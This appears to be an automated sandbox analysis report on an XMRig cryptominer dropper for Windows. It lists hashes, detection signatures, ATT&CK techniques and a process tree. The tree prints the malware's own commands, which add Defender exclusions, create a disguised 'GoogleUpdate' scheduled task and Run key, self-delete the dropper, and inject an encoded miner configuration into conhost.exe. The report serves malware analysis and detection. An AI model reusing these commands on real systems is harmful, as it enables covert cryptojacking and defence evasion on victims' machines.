xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
446s
max time network
1788s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2516 created 1140	2516	Q5EUCWHU7pMYBfT3.exe	21
PID 2516 created 1140	2516	Q5EUCWHU7pMYBfT3.exe	21
PID 2516 created 1140	2516	Q5EUCWHU7pMYBfT3.exe	21
PID 2516 created 1140	2516	Q5EUCWHU7pMYBfT3.exe	21
PID 2944 created 1140	2944	updater.exe	21
PID 2944 created 1140	2944	updater.exe	21
PID 2944 created 1140	2944	updater.exe	21
PID 2944 created 1140	2944	updater.exe	21
PID 796 created 1140	796	conhost.exe	21
PID 2944 created 1140	2944	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral21/memory/828-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/828-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2544	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2944	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2880	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral21/memory/828-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/828-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2944 set thread context of 796	2944	updater.exe	52
PID 2944 set thread context of 828	2944	updater.exe	46

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2816	schtasks.exe
2900	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1240	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 508082e5b94fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2516	Q5EUCWHU7pMYBfT3.exe
2516	Q5EUCWHU7pMYBfT3.exe
2312	powershell.exe
2516	Q5EUCWHU7pMYBfT3.exe
2516	Q5EUCWHU7pMYBfT3.exe
2684	powershell.exe
2516	Q5EUCWHU7pMYBfT3.exe
2516	Q5EUCWHU7pMYBfT3.exe
2516	Q5EUCWHU7pMYBfT3.exe
2516	Q5EUCWHU7pMYBfT3.exe
2548	powershell.exe
2944	updater.exe
2944	updater.exe
352	powershell.exe
2944	updater.exe
2944	updater.exe
2116	powershell.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
2944	updater.exe
796	conhost.exe
796	conhost.exe
2944	updater.exe
2944	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	352	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2944	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1240	WMIC.exe
Token: SeSecurityPrivilege	1240	WMIC.exe
Token: SeTakeOwnershipPrivilege	1240	WMIC.exe
Token: SeLoadDriverPrivilege	1240	WMIC.exe
Token: SeSystemtimePrivilege	1240	WMIC.exe
Token: SeBackupPrivilege	1240	WMIC.exe
Token: SeRestorePrivilege	1240	WMIC.exe
Token: SeShutdownPrivilege	1240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1240	WMIC.exe
Token: SeUndockPrivilege	1240	WMIC.exe
Token: SeManageVolumePrivilege	1240	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1240	WMIC.exe
Token: SeSecurityPrivilege	1240	WMIC.exe
Token: SeTakeOwnershipPrivilege	1240	WMIC.exe
Token: SeLoadDriverPrivilege	1240	WMIC.exe
Token: SeSystemtimePrivilege	1240	WMIC.exe
Token: SeBackupPrivilege	1240	WMIC.exe
Token: SeRestorePrivilege	1240	WMIC.exe
Token: SeShutdownPrivilege	1240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1240	WMIC.exe
Token: SeUndockPrivilege	1240	WMIC.exe
Token: SeManageVolumePrivilege	1240	WMIC.exe
Token: SeLockMemoryPrivilege	828	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 2816	2684	powershell.exe	30
PID 2684 wrote to memory of 2816	2684	powershell.exe	30
PID 2684 wrote to memory of 2816	2684	powershell.exe	30
PID 2544 wrote to memory of 2628	2544	cmd.exe	34
PID 2544 wrote to memory of 2628	2544	cmd.exe	34
PID 2544 wrote to memory of 2628	2544	cmd.exe	34
PID 2548 wrote to memory of 2436	2548	powershell.exe	31
PID 2548 wrote to memory of 2436	2548	powershell.exe	31
PID 2548 wrote to memory of 2436	2548	powershell.exe	31
PID 2880 wrote to memory of 2944	2880	taskeng.exe	33
PID 2880 wrote to memory of 2944	2880	taskeng.exe	33
PID 2880 wrote to memory of 2944	2880	taskeng.exe	33
PID 2116 wrote to memory of 2900	2116	powershell.exe	53
PID 2116 wrote to memory of 2900	2116	powershell.exe	53
PID 2116 wrote to memory of 2900	2116	powershell.exe	53
PID 2944 wrote to memory of 796	2944	updater.exe	52
PID 1460 wrote to memory of 1240	1460	cmd.exe	47
PID 1460 wrote to memory of 1240	1460	cmd.exe	47
PID 1460 wrote to memory of 1240	1460	cmd.exe	47
PID 2944 wrote to memory of 828	2944	updater.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2516

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2900
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:828
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1460
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:796

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2816

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2436

C:\Windows\system32\taskeng.exe
taskeng.exe {34967AAD-ACAF-49DE-845F-309512E1773A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2944

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2628

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 171KB
SHA256 4ea6e7509a70054878966d2c08c42e84cafc352139e25487486f08ca6c2b230f
MD5 c71010f762d9610f5e4b1b1cfb733131
SHA1 aecbe258b20807fe2732411ac77cbad188d98b9e
SHA512 3c004c0274db931d295aa8fd78feb96f20bf5a90aab4dab46ff8b58f02342f62d2b8155d349ede348f4ffb251dd74761831e6244338c7a3b04a9e2d954ec1516
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRVBkU0yS7Ip:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0g
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 302KB
SHA256 9131328c6ece1a1d60e48ba2eca03f1f5b900a8f184856dc520b8f367c1057ad
MD5 b4d4231f8f04182242f665f20dcdb534
SHA1 0e300aacb0dd8fe0809c2d69e1618c0d4de25198
SHA512 1dd34a3352cd21bcf89173857ee8b48504b072aafcc4610fbb3ca11e5dfcdfe2d67ac071bebae7c65b7e2deb74288e524b8402be4b80328b2cbf34e773c0577f
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3Feo:rWVi46hyqG2ckwLxgajd0mAVwb5T33
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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E2KDIJ2E3643D03963LV.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E2KDIJ2E3643D03963LV.temp
Size 7KB
SHA256 d15a8f2db768458e1a593f8166ce58f9667ad260248148a53f9a0ecd8cb05372
MD5 fafb9428fe4af10edf7a2214d150132a
SHA1 9cb42cdc6b7c4ac8b1185fda9c11685cf41e90a7
SHA512 145094c7a3de7f07f090067d4fe0d1424b8991f8a94378b650086e3f114b1cf414227ed9d24fa17a73b0d25262a89ed71ac329c3cdc13015add6011104cf2362
SSDEEP 96:4VWC5M8jnqvsqvJCwoDojQVWC5M8jnqvsEHyqvJCworVoj2Uu5QHeV57HAXlUVhU:83/UoDd3/AHnorVt33V57HAQU
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 237KB
SHA256 7c8404b190c3d06882f2d7525170ecb665e83233086f6d877966280cce6a1c84
MD5 2cc47fe0d8205d032194eeda270d3634
SHA1 7707459a8f92fda0afd86dd50608b8365bd259be
SHA512 017f85beff791c022bdc5d29fac4c85c277117fe094973390df914eaf62541bed385af9046a47d7032a762ecf8e0a7390ac3ce8b3db5fdd737411909fbf2d2fd
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx79:rWVi46hyqG2ckwLxgajd0mAVB
MD5 SHA1 SHA512 SSDEEP

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memory/352-51-0x000000000157B000-0x00000000015E2000-memory.dmp

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memory/352-49-0x0000000001570000-0x00000000015F0000-memory.dmp

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memory/352-48-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

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memory/352-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

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memory/352-52-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

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memory/352-50-0x0000000001574000-0x0000000001577000-memory.dmp

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memory/352-47-0x0000000001570000-0x00000000015F0000-memory.dmp

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memory/796-71-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/796-77-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/828-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/828-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-75-0x0000000000110000-0x0000000000130000-memory.dmp

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memory/828-76-0x00000000002D0000-0x00000000002F0000-memory.dmp

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memory/828-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-70-0x00000000002D0000-0x00000000002F0000-memory.dmp

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memory/828-69-0x0000000000110000-0x0000000000130000-memory.dmp

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memory/828-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/828-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2116-58-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/2116-53-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2116-54-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/2116-59-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2116-55-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2116-57-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/2116-56-0x0000000001550000-0x00000000015D0000-memory.dmp

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memory/2312-12-0x0000000002A90000-0x0000000002B10000-memory.dmp

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memory/2312-13-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2312-6-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2312-9-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2312-5-0x000000001B540000-0x000000001B822000-memory.dmp

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memory/2312-11-0x0000000002A90000-0x0000000002B10000-memory.dmp

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memory/2312-10-0x0000000002A90000-0x0000000002B10000-memory.dmp

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memory/2312-7-0x0000000001F30000-0x0000000001F38000-memory.dmp

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memory/2312-8-0x0000000002A90000-0x0000000002B10000-memory.dmp

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memory/2516-0-0x000000013FF50000-0x0000000140161000-memory.dmp

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memory/2516-29-0x000000013FF50000-0x0000000140161000-memory.dmp

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memory/2548-35-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2548-38-0x0000000002B60000-0x0000000002BE0000-memory.dmp

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memory/2548-37-0x0000000002B60000-0x0000000002BE0000-memory.dmp

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memory/2548-41-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2548-40-0x0000000002B60000-0x0000000002BE0000-memory.dmp

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memory/2548-39-0x000007FEF5EB0000-0x000007FEF684D000-memory.dmp

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memory/2548-36-0x0000000002B60000-0x0000000002BE0000-memory.dmp

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memory/2684-21-0x0000000002890000-0x0000000002910000-memory.dmp

